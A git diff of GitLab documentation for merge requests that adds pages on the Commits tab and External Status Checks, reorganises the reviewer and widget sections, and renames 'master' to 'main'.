b/doc/user/project/merge_requests/commits.md new file mode 100644 index 00000000000..1bda12468a3 --- /dev/null +++ b/doc/user/project/merge_requests/commits.md @@ -0,0 +1,28 @@ +--- +stage: Create +group: Code Review +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: index, reference +--- + +# Commits tab in merge requests **(FREE)** + +The **Commits** tab in a merge request displays a sequential list of commits +to the Git branch your merge request is based on. From this page, you can review +full commit messages and copy a commit's SHA when you need to +[cherry-pick changes](cherry_pick_changes.md). + +## Merge requests commit navigation + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18140) in GitLab 13.0. + +To seamlessly navigate among commits in a merge request: + +1. Select the **Commits** tab. +1. Select a commit to open it in the single-commit view. +1. Navigate through the commits by either: + + - Selecting **Prev** and **Next** buttons below the tab buttons. + - Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts. + + diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md index ce1dac0a96b..430c6488b26 100644 --- a/doc/user/project/merge_requests/creating_merge_requests.md +++ b/doc/user/project/merge_requests/creating_merge_requests.md @@ -168,7 +168,8 @@ Click on **Compare branches and continue** to go to the After forking a project and applying your local changes, complete the following steps to create a merge request from your fork to contribute back to the main project: -1. Go to **Projects > Your Projects** and select your fork of the repository. +1. On the top bar, select **Menu > Project**. +1. Select **Your Projects**, then select your fork of the repository. 1. In the left menu, go to **Merge requests**, and click **New merge request**. 1. In the **Source branch** drop-down list box, select your branch in your forked repository as the source branch. 1. In the **Target branch** drop-down list box, select the branch from the upstream repository as the target branch. diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md index 459b8fa56ff..ce39f39f0a1 100644 --- a/doc/user/project/merge_requests/getting_started.md +++ b/doc/user/project/merge_requests/getting_started.md @@ -67,8 +67,8 @@ After you have created the merge request, you can also: - [Discuss](../../discussions/index.md) your implementation with your team in the merge request thread. - [Perform inline code reviews](reviews/index.md#perform-inline-code-reviews). - Add [merge request dependencies](merge_request_dependencies.md) to restrict it to be merged only when other merge requests have been merged. **(PREMIUM)** -- Preview continuous integration [pipelines on the merge request widget](reviews/index.md#pipeline-status-in-merge-requests-widgets). -- Preview how your changes look directly on your deployed application with [Review Apps](reviews/index.md#live-preview-with-review-apps). +- Preview continuous integration [pipelines on the merge request widget](widgets.md). +- Preview how your changes look directly on your deployed application with [Review Apps](widgets.md#live-preview-with-review-apps). - [Allow collaboration on merge requests across forks](allow_collaboration.md). - Perform a [Review](reviews/index.md) to create multiple comments on a diff and publish them when you're ready. - Add [code suggestions](reviews/suggestions.md) to change the content of merge requests directly into merge request threads, and easily apply them to the codebase directly from the UI. @@ -114,9 +114,6 @@ It is also possible to manage multiple assignees: ### Reviewer -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216054) in GitLab 13.5. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/245190) in GitLab 13.9. - WARNING: Requesting a code review is an important part of contributing code. However, deciding who should review your code and asking for a review are no easy tasks. Using the "assignee" field for both authors and @@ -132,44 +129,7 @@ To request a review of a merge request, expand the **Reviewers** select box in the right-hand sidebar. Search for the users you want to request a review from. When selected, GitLab creates a [to-do list item](../../todos.md) for each reviewer. -#### Approval Rule information for Reviewers **(PREMIUM)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233736) in GitLab 13.8. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293742) in GitLab 13.9. - -When editing the **Reviewers** field in a new or existing merge request, GitLab -displays the name of the matching [approval rule](approvals/rules.md) -below the name of each suggested reviewer. [Code Owners](../code_owners.md) are displayed as `Codeowner` without group detail. - -This example shows reviewers and approval rules when creating a new merge request: - - - -This example shows reviewers and approval rules in a merge request sidebar: - - - -#### Requesting a new review - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/293933) in GitLab 13.9. - -After a reviewer completes their [merge request reviews](../../discussions/index.md), -the author of the merge request can request a new review from the reviewer: - -1. If the right sidebar in the merge request is collapsed, click the - **{chevron-double-lg-left}** **Expand Sidebar** icon to expand it. -1. In the **Reviewers** section, click the **Re-request a review** icon (**{redo}**) - next to the reviewer's name. - -GitLab creates a new [to-do item](../../todos.md) for the reviewer, and sends -them a notification email. - -#### Approval status - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292936) in GitLab 13.10. - -If a user in the reviewer list has approved the merge request, a green tick symbol is -shown to the right of their name. +To learn more, read [Review and manage merge requests](reviews/index.md). ### Merge requests to close issues @@ -193,7 +153,7 @@ enabled by default for all new merge requests, enable it in the This option is also visible in an existing merge request next to the merge request button and can be selected or deselected before merging. -It is only visible to users with [Maintainer permissions](../../permissions.md) +It is only visible to users with the [Maintainer role](../../permissions.md) in the source project. If the user viewing the merge request does not have the correct @@ -216,18 +176,18 @@ open merge request, if the destination branch merges while the merge request is open. Merge requests are often chained in this manner, with one merge request depending on another: -- **Merge request 1**: merge `feature-alpha` into `master`. +- **Merge request 1**: merge `feature-alpha` into `main`. - **Merge request 2**: merge `feature-beta` into `feature-alpha`. These merge requests are usually handled in one of these ways: -- Merge request 1 is merged into `master` first. Merge request 2 is then - retargeted to `master`. +- Merge request 1 is merged into `main` first. Merge request 2 is then + retargeted to `main`. - Merge request 2 is merged into `feature-alpha`. The updated merge request 1, which - now contains the contents of `feature-alpha` and `feature-beta`, is merged into `master`. + now contains the contents of `feature-alpha` and `feature-beta`, is merged into `main`. GitLab retargets up to four merge requests when their target branch is merged into -`master`, so you don't need to perform this operation manually. Merge requests from +`main`, so you don't need to perform this operation manually. Merge requests from forks are not retargeted. The feature today works only on merge. Clicking the **Remove source branch** button diff --git a/doc/user/project/merge_requests/img/allow_collaboration.png b/doc/user/project/merge_requests/img/allow_collaboration.png Binary files differdeleted file mode 100644 index cc13493646d..00000000000 --- a/doc/user/project/merge_requests/img/allow_collaboration.png +++ /dev/null diff --git a/doc/user/project/merge_requests/img/allow_collaboration_after_save.png b/doc/user/project/merge_requests/img/allow_collaboration_after_save.png Binary files differdeleted file mode 100644 index bc7678b21ec..00000000000 --- a/doc/user/project/merge_requests/img/allow_collaboration_after_save.png +++ /dev/null diff --git a/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png Binary files differnew file mode 100644 index 00000000000..a942420d65e --- /dev/null +++ b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png diff --git a/doc/user/project/merge_requests/img/commit-button_v13_12.png b/doc/user/project/merge_requests/img/commit-button_v13_12.png Binary files differnew file mode 100644 index 00000000000..be154b9e60b --- /dev/null +++ b/doc/user/project/merge_requests/img/commit-button_v13_12.png diff --git a/doc/user/project/merge_requests/img/conflict_ui_v14_0.png b/doc/user/project/merge_requests/img/conflict_ui_v14_0.png Binary files differnew file mode 100644 index 00000000000..92c532351cb --- /dev/null +++ b/doc/user/project/merge_requests/img/conflict_ui_v14_0.png diff --git a/doc/user/project/merge_requests/reviews/img/merge_request_pipeline.png b/doc/user/project/merge_requests/img/merge_request_pipeline.png Binary files differindex ce1d6bab536..ce1d6bab536 100644 --- a/doc/user/project/merge_requests/reviews/img/merge_request_pipeline.png +++ b/doc/user/project/merge_requests/img/merge_request_pipeline.png diff --git a/doc/user/project/merge_requests/reviews/img/project_merge_requests_list_view_v13_5.png b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png Binary files differindex 625d47b1142..625d47b1142 100644 --- a/doc/user/project/merge_requests/reviews/img/project_merge_requests_list_view_v13_5.png +++ b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png diff --git a/doc/user/project/merge_requests/img/status_checks_branches_selector_v14_0.png b/doc/user/project/merge_requests/img/status_checks_branches_selector_v14_0.png Binary files differnew file mode 100644 index 00000000000..65009faf426 --- /dev/null +++ b/doc/user/project/merge_requests/img/status_checks_branches_selector_v14_0.png diff --git a/doc/user/project/merge_requests/img/status_checks_create_form_v14_0.png b/doc/user/project/merge_requests/img/status_checks_create_form_v14_0.png Binary files differnew file mode 100644 index 00000000000..9e6d6c552e5 --- /dev/null +++ b/doc/user/project/merge_requests/img/status_checks_create_form_v14_0.png diff --git a/doc/user/project/merge_requests/img/status_checks_delete_modal_v14_0.png b/doc/user/project/merge_requests/img/status_checks_delete_modal_v14_0.png Binary files differnew file mode 100644 index 00000000000..a305f5c73f8 --- /dev/null +++ b/doc/user/project/merge_requests/img/status_checks_delete_modal_v14_0.png diff --git a/doc/user/project/merge_requests/img/status_checks_list_view_v14_0.png b/doc/user/project/merge_requests/img/status_checks_list_view_v14_0.png Binary files differnew file mode 100644 index 00000000000..6be64112ac6 --- /dev/null +++ b/doc/user/project/merge_requests/img/status_checks_list_view_v14_0.png diff --git a/doc/user/project/merge_requests/img/status_checks_update_form_v14_0.png b/doc/user/project/merge_requests/img/status_checks_update_form_v14_0.png Binary files differnew file mode 100644 index 00000000000..fcfe16bcd97 --- /dev/null +++ b/doc/user/project/merge_requests/img/status_checks_update_form_v14_0.png diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md index f587ab34d11..b5c51c42ae9 100644 --- a/doc/user/project/merge_requests/index.md +++ b/doc/user/project/merge_requests/index.md @@ -17,12 +17,93 @@ Merge requests include: - A comment section for discussion threads. - The list of commits. +To get started, read the [introduction to merge requests](getting_started.md). + +## Merge request tabs + Merge requests contain tabs at the top of the page to help you navigate to -important parts of the merge request: **Overview**, **Commits**, **Pipelines**, and **Changes**. +important parts of the merge request:  -To get started, read the [introduction to merge requests](getting_started.md). +- **Overview**: Contains the description, notifications from pipelines, and a + discussion area for [comment threads](../../discussions/index.md#resolvable-comments-and-threads) + and [code suggestions](reviews/suggestions.md). The right sidebar provides fields + to add assignees, reviewers, labels, and a milestone to your work, and the + [merge request widgets area](widgets.md) reports results from pipelines and tests. +- **Commits**: Contains a list of commits added to this merge request. For more + information, read [Commits tab in merge requests](commits.md). +- **Pipelines**: If configured, contains a list of recent [GitLab CI/CD](../../../ci/README.md) + pipelines and their status. +- **Changes**: Contains the diffs of files changed by this merge request. You can + [configure the display](changes.md). + +## View merge requests + +You can view merge requests for a specific project, or for all projects in a group: + +- **Specific project**: Go to your project and select **Merge requests**. +- **All projects in a group**: Go to your group and select **Merge requests**. + If your group contains subgroups, this view also displays merge requests from the subgroup projects. + GitLab displays a count of open merge requests in the left sidebar, but + [caches the value](reviews/index.md#cached-merge-request-count) for groups with a large number of + open merge requests. + +GitLab displays open merge requests, with tabs to filter the list by open and closed status: + + + +You can [search and filter](../../search/index.md#filtering-issue-and-merge-request-lists), +the results, or select a merge request to begin a review. + +## Merge request sidebar + +The **Overview** tab of a merge request displays a sidebar. In this sidebar, you +can assign, categorize, and track progress on a merge request: + +- [**Assignee**](getting_started.md#assignee): Designate the directly responsible + individual (DRI) for a merge request. With + [multiple assignees](getting_started.md#multiple-assignees), you can assign a + merge request to more than one person at a time. +- [**Reviewer**](reviews/index.md): Designate a team member to review a merge request. + Higher tiers can assign multiple reviewers, and [require approvals](approvals/index.md) + from these reviewers. +- [**Milestone**](../milestones/index.md): Track time-sensitive changes. +- [**Time tracking**](../time_tracking.md): Time spent on a merge request. +- [**Labels**](../labels.md): Categorize a merge request and display it on + appropriate [issue boards](../issue_board.md). +- **Participants**: A list of users participating or watching a merge request. +- [**Notifications**](../../profile/notifications.md): A toggle to select whether + or not to receive notifications for updates to a merge request. + +## Close a merge request + +If you decide to permanently stop work on a merge request, +GitLab recommends you close the merge request rather than +[delete it](#delete-a-merge-request). Users with +Developer, Maintainer, or Owner [roles](../../permissions.md) in a project +can close merge requests in the project: + +1. Go to the merge request you want to close. +1. Scroll to the comment box at the bottom of the page. +1. Following the comment box, select **Close merge request**. + +GitLab closes the merge request, but preserves records of the merge request, +its comments, and any associated pipelines. + +### Delete a merge request + +GitLab recommends you close, rather than delete, merge requests. + +WARNING: +You cannot undo the deletion of a merge request. + +To delete a merge request: + +1. Sign in to GitLab as a user with the project Owner [role](../../permissions.md). + Only users with this role can delete merge requests in a project. +1. Go to the merge request you want to delete, and select **Edit**. +1. Scroll to the bottom of the page, and select **Delete merge request**. ## Merge request workflows diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md index 865a18a6a05..d1b697add08 100644 --- a/doc/user/project/merge_requests/load_performance_testing.md +++ b/doc/user/project/merge_requests/load_performance_testing.md @@ -46,8 +46,8 @@ The key performance metrics that the merge request widget shows after the test c NOTE: If the Load Performance report has no data to compare, such as when you add the Load Performance job in your `.gitlab-ci.yml` for the very first time, -the Load Performance report widget won't show. It must have run at least -once on the target branch (`master`, for example), before it will display in a +the Load Performance report widget doesn't display. It must have run at least +once on the target branch (`main`, for example), before it displays in a merge request targeting that branch. ## Configure the Load Performance Testing job @@ -87,13 +87,13 @@ Refer to the [k6 documentation](https://k6.io/docs/) for detailed information on When your k6 test is ready, the next step is to configure the load performance testing job in GitLab CI/CD. The easiest way to do this is to use the -[`Verify/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml) +[`Verify/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml) template that is included with GitLab. NOTE: For large scale k6 tests you need to ensure the GitLab Runner instance performing the actual test is able to handle running the test. Refer to [k6's guidance](https://k6.io/docs/testing-guides/running-large-tests#hardware-considerations) -for spec details. The [default shared GitLab.com runners](../../gitlab_com/#linux-shared-runners) +for spec details. The [default shared GitLab.com runners](../../../ci/runners/README.md#linux-shared-runners) likely have insufficient specs to handle most large k6 tests. This template runs the @@ -120,7 +120,7 @@ The above example creates a `load_performance` job in your CI/CD pipeline that r the k6 test. NOTE: -For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml). +For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml). k6 has [various options](https://k6.io/docs/using-k6/options) to configure how it will run tests, such as what throughput (RPS) to run with, how long the test should run, and so on. Almost all options can be configured in the test itself, but as diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md index 38d6ba062e4..42de04085a9 100644 --- a/doc/user/project/merge_requests/merge_request_approvals.md +++ b/doc/user/project/merge_requests/merge_request_approvals.md @@ -1,5 +1,6 @@ --- redirect_to: 'approvals/index.md' +remove_date: '2021-07-27' --- This document was moved to [another location](approvals/index.md). diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md b/doc/user/project/merge_requests/merge_request_dependencies.md index 4534ce194bf..21282a55ff2 100644 --- a/doc/user/project/merge_requests/merge_request_dependencies.md +++ b/doc/user/project/merge_requests/merge_request_dependencies.md @@ -38,7 +38,7 @@ For example, given a project `mycorp/awesome-project` that imports a library at `myfriend/awesome-lib`, adding a feature in `awesome-project` may **also** require changes to `awesome-lib`, and so necessitate two merge requests. Merging the `awesome-project` merge request before the `awesome-lib` one would -break the `master`branch. +break the default branch. The `awesome-project` merge request could be [marked as **Draft**](drafts.md), and the reason for the draft stated included in the comments. However, this diff --git a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md index b1da336aae9..6c1e33a9ace 100644 --- a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md +++ b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md @@ -94,7 +94,7 @@ merge-request-pipeline-job: ``` You should avoid configuration like this, and only use branch (`push`) pipelines -or merge request pipelines, when possible. See [`rules` documentation](../../../ci/yaml/README.md#avoid-duplicate-pipelines) +or merge request pipelines, when possible. See [`rules` documentation](../../../ci/jobs/job_control.md#avoid-duplicate-pipelines) for details on avoiding two pipelines for a single merge request. ### Skipped pipelines diff --git a/doc/user/project/merge_requests/resolve_conflicts.md b/doc/user/project/merge_requests/resolve_conflicts.md index 4d5d89d6508..4681ef09388 100644 --- a/doc/user/project/merge_requests/resolve_conflicts.md +++ b/doc/user/project/merge_requests/resolve_conflicts.md @@ -39,8 +39,8 @@ highlighted: After all conflicts have been marked as using 'ours' or 'theirs', the conflict can be resolved. Resolving conflicts merges the target branch of the merge request into the source branch, using the options -chosen. If the source branch is `feature` and the target branch is `master`, -this is similar to performing `git checkout feature; git merge master` locally. +chosen. If the source branch is `feature` and the target branch is `main`, +this is similar to performing `git checkout feature; git merge main` locally. ## Resolve conflicts: inline editor diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md index 0475996cb9b..b32dce0b230 100644 --- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md +++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md @@ -1,5 +1,6 @@ --- redirect_to: 'reviews/index.md' +remove_date: '2021-08-03' --- This document was moved to [another location](reviews/index.md). diff --git a/doc/user/project/merge_requests/img/reviewer_approval_rules_form_v13_8.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png Binary files differindex c2aa0689d65..c2aa0689d65 100644 --- a/doc/user/project/merge_requests/img/reviewer_approval_rules_form_v13_8.png +++ b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png diff --git a/doc/user/project/merge_requests/img/reviewer_approval_rules_sidebar_v13_8.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png Binary files differindex 3828868965b..3828868965b 100644 --- a/doc/user/project/merge_requests/img/reviewer_approval_rules_sidebar_v13_8.png +++ b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png diff --git a/doc/user/project/merge_requests/reviews/index.md b/doc/user/project/merge_requests/reviews/index.md index e98a230c0de..317202e9303 100644 --- a/doc/user/project/merge_requests/reviews/index.md +++ b/doc/user/project/merge_requests/reviews/index.md @@ -7,29 +7,14 @@ type: index, reference # Review and manage merge requests **(FREE)** +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216054) in GitLab 13.5. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/245190) in GitLab 13.9. + [Merge requests](../index.md) are the primary method of making changes to files in a GitLab project. [Create and submit a merge request](../creating_merge_requests.md) -to propose changes. Your team makes [suggestions](suggestions.md) and leaves -[comments](../../../discussions/index.md). When your work is reviewed, your team -members can choose to accept or reject it. - -## View merge requests - -You can view merge requests for a specific project, or for all projects in a group: - -- **Specific project**: Go to your project and select **Merge requests**. -- **All projects in a group**: Go to your group and select **Merge requests**. - If your group contains subgroups, this view also displays merge requests from the subgroup projects. - GitLab displays a count of open merge requests in the left sidebar, but - [caches the value](#cached-merge-request-count) for groups with a large number of - open merge requests. - -GitLab displays open merge requests, with tabs to filter the list by open and closed status: - - - -You can [search and filter](../../../search/index.md#filtering-issue-and-merge-request-lists), -the results, or select a merge request to begin a review. +to propose changes. Your team leaves [comments](../../../discussions/index.md), and +makes [code suggestions](suggestions.md) you can accept from the user interface. +When your work is reviewed, your team members can choose to accept or reject it. ## Bulk edit merge requests at the project level @@ -136,6 +121,45 @@ If you have a review in progress, you will be presented with the option to **Add  +### Approval Rule information for Reviewers **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233736) in GitLab 13.8. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293742) in GitLab 13.9. + +When editing the **Reviewers** field in a new or existing merge request, GitLab +displays the name of the matching [approval rule](../approvals/rules.md) +below the name of each suggested reviewer. [Code Owners](../../code_owners.md) are displayed as `Codeowner` without group detail. + +This example shows reviewers and approval rules when creating a new merge request: + + + +This example shows reviewers and approval rules in a merge request sidebar: + + + +### Requesting a new review + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/293933) in GitLab 13.9. + +After a reviewer completes their [merge request reviews](../../../discussions/index.md), +the author of the merge request can request a new review from the reviewer: + +1. If the right sidebar in the merge request is collapsed, click the + **{chevron-double-lg-left}** **Expand Sidebar** icon to expand it. +1. In the **Reviewers** section, click the **Re-request a review** icon (**{redo}**) + next to the reviewer's name. + +GitLab creates a new [to-do item](../../../todos.md) for the reviewer, and sends +them a notification email. + +#### Approval status + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292936) in GitLab 13.10. + +If a user in the reviewer list has approved the merge request, a green tick symbol is +shown to the right of their name. + ## Semi-linear history merge requests A merge commit is created for every merge, but the branch is only merged if @@ -180,56 +204,6 @@ Multiline comments display the comment's line numbers above the body of the comm  -## Pipeline status in merge requests widgets - -If you've set up [GitLab CI/CD](../../../../ci/README.md) in your project, -you can see: - -- Both pre-merge and post-merge pipelines and the environment information if any. -- Which deployments are in progress. - -If an application is successfully deployed to an -[environment](../../../../ci/environments/index.md), the deployed environment and the link to the -Review App are both shown. - -NOTE: -When the pipeline fails in a merge request but it can still be merged, -the **Merge** button is colored red. - -### Post-merge pipeline status - -When a merge request is merged, you can see the post-merge pipeline status of -the branch the merge request was merged into. For example, when a merge request -is merged into the [default branch](../../repository/branches/default.md) and then triggers a deployment to the staging -environment. - -Ongoing deployments are shown, and the state (deploying or deployed) -for environments. If it's the first time the branch is deployed, the link -returns a `404` error until done. During the deployment, the stop button is -disabled. If the pipeline fails to deploy, the deployment information is hidden. - - - -For more information, [read about pipelines](../../../../ci/pipelines/index.md). - -### Merge when pipeline succeeds (MWPS) - -Set a merge request that looks ready to merge to -[merge automatically when CI pipeline succeeds](../merge_when_pipeline_succeeds.md). - -### Live preview with Review Apps - -If you configured [Review Apps](https://about.gitlab.com/stages-devops-lifecycle/review-apps/) for your project, -you can preview the changes submitted to a feature branch through a merge request -on a per-branch basis. You don't need to checkout the branch, install, and preview locally. -All your changes are available to preview by anyone with the Review Apps link. - -With GitLab [Route Maps](../../../../ci/review_apps/index.md#route-maps) set, the -merge request widget takes you directly to the pages changed, making it easier and -faster to preview proposed modifications. - -[Read more about Review Apps](../../../../ci/review_apps/index.md). - ## Associated features These features are associated with merge requests: @@ -386,32 +360,7 @@ All the above can be done with the [`git-mr`](https://gitlab.com/glensc/git-mr) ## Cached merge request count > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299542) in GitLab 13.11. -> - It's [deployed behind a feature flag](../../../feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-merge-request-count). - -WARNING: -This feature might not be available to you. Refer to the previous **version history** note for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/327319) in GitLab 14.0. In a group, the sidebar displays the total count of open merge requests. This value is cached if it's greater than than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours. - -### Enable or disable cached merge request count **(FREE SELF)** - -Cached merge request count in the left sidebar is under development but ready for production use. It is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md) -can disable it. - -To disable it: - -```ruby -Feature.disable(:cached_sidebar_merge_requests_count) -``` - -To enable it: - -```ruby -Feature.enable(:cached_sidebar_merge_requests_count) -``` diff --git a/doc/user/project/merge_requests/reviews/suggestions.md b/doc/user/project/merge_requests/reviews/suggestions.md index 0c8dd384b88..9409cc569a6 100644 --- a/doc/user/project/merge_requests/reviews/suggestions.md +++ b/doc/user/project/merge_requests/reviews/suggestions.md @@ -140,3 +140,7 @@ to your branch to address your reviewers' requests. WARNING: Suggestions applied from multiple authors creates a commit authored by the user applying the suggestions. + +## Related links + +- [Suggestions API](../../../../api/suggestions.md) diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md index 4315e5a0305..47c7e208f2d 100644 --- a/doc/user/project/merge_requests/squash_and_merge.md +++ b/doc/user/project/merge_requests/squash_and_merge.md @@ -7,7 +7,7 @@ type: reference, concepts # Squash and merge **(FREE)** -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) to GitLab Free in 11.0. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) from GitLab Premium to GitLab Free in 11.0. With squash and merge you can combine all your merge request's commits into one and retain a clean history. diff --git a/doc/user/project/merge_requests/status_checks.md b/doc/user/project/merge_requests/status_checks.md new file mode 100644 index 00000000000..775820870f3 --- /dev/null +++ b/doc/user/project/merge_requests/status_checks.md @@ -0,0 +1,179 @@ +--- +stage: Manage +group: Compliance +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" +type: reference, concepts +disqus_identifier: 'https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html' +--- + +# External Status Checks **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0. +> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-status-checks). **(ULTIMATE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +You can create a status check that sends merge request data to third-party tools. +When users create, change, or close merge requests, GitLab sends a notification. The users or automated workflows +can then update the status of merge requests from outside of GitLab. + +With this integration, you can integrate with third-party workflow tools, like +ServiceNow, or the custom tool of your choice. The third-party tool +respond with an associated status. This status is then displayed as a non-blocking +widget within the merge request to surface this status to the merge request author or reviewers +at the merge request level itself. + +The lack of a status check response does not block the merging of a merge request. + +You can configure merge request status checks for each individual project. These are not shared between projects. + +To learn more about use cases, feature discovery, and development timelines, +see the [external status checks epic](https://gitlab.com/groups/gitlab-org/-/epics/3869). + +## View the status checks on a project + +Within each project's settings, you can see a list of status checks added to the project: + +1. In your project, go to **Settings > General**. +1. Expand the **Merge requests** section. +1. Scroll down to the **Status checks** sub-section. + + + +This list shows the service name, API URL, and targeted branch. +It also provides actions to allow you to create, edit, or remove status checks. + +## Add or update a status check + +### Add a status check + +Within the **Status checks** sub-section, select the **Add status check** button. +The **Add status check** form is then shown. + + + +Filling in the form and selecting the **Add status check** button creates a new status check. + +### Update a status check + +Within the **Status checks** sub-section, select the **Edit** button +next to the status check you want to edit. +The **Update status check** form is then shown. + + + +Changing the values in the form and selecting the **Update status check** button updates the status check. + +### Form values + +For common form errors see the [troubleshooting](#troubleshooting) section below. + +#### Service name + +This name can be any alphanumerical value and **must** be set. The name **must** be unique for +the project. +The name **has** to be unique for the project. + +#### API to check + +This field requires a URL and **must** use either the HTTP or HTTPs protocols. +We **recommend** using HTTPs to protect your merge request data in transit. +The URL **must** be set and **must** be unique for the project. + +#### Target branch + +If you want to restrict the status check to a single branch, +you can use this field to set this limit. + + + +The branches list is populated from the projects [protected branches](../protected_branches.md). + +You can scroll through the list of branches or use the search box +when there are a lot of branches and the branch you are looking +for doesn't appear immediately. The search box requires +**three** alphanumeric characters to be entered for the search to begin. + +If you want the status check to be applied to **all** merge requests, +you can select the **Any branch** option. + +## Delete a status check + +Within the **Status checks** sub-section, select the **Remove...** button +next to the status check you want to delete. +The **Remove status check?** modal is then shown. + + + +To complete the deletion of the status check you must select the +**Remove status check** button. This **permanently** deletes +the status check and it **will not** be recoverable. + +## Troubleshooting + +### Duplicate value errors + +```plaintext +Name is already taken +--- +External API is already in use by another status check +``` + +On a per project basis, status checks can only use a name or API URL once. +These errors mean that either the status checks name or API URL have already +been used in this projects status checks. + +You must either choose a different +value on the current status check or update the value on the existing status check. + +### Invalid URL error + +```plaintext +Please provide a valid URL +``` + +The API to check field requires the URL provided to use either the HTTP or HTTPs protocols. +You must update the value of the field to meet this requirement. + +### Branch list error during retrieval or search + +```plaintext +Unable to fetch branches list, please close the form and try again +``` + +An unexpected response was received from the branches retrieval API. +As suggested, you should close the form and reopen again or refresh the page. This error should be temporary, although +if it persists please check the [GitLab status page](https://status.gitlab.com/) to see if there is a wider outage. + +## Enable or disable status checks **(ULTIMATE SELF)** + +Status checks are under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +# For the instance +Feature.enable(:ff_compliance_approval_gates) +# For a single project +Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>)) +``` + +To disable it: + +```ruby +# For the instance +Feature.disable(:ff_compliance_approval_gates) +# For a single project +Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>) +``` + +## Related links + +- [External status checks API](../../../api/status_checks.md) diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md index 4960e9d9889..e044d50d246 100644 --- a/doc/user/project/merge_requests/test_coverage_visualization.md +++ b/doc/user/project/merge_requests/test_coverage_visualization.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Test Coverage Visualization +# Test coverage visualization **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/249811) in 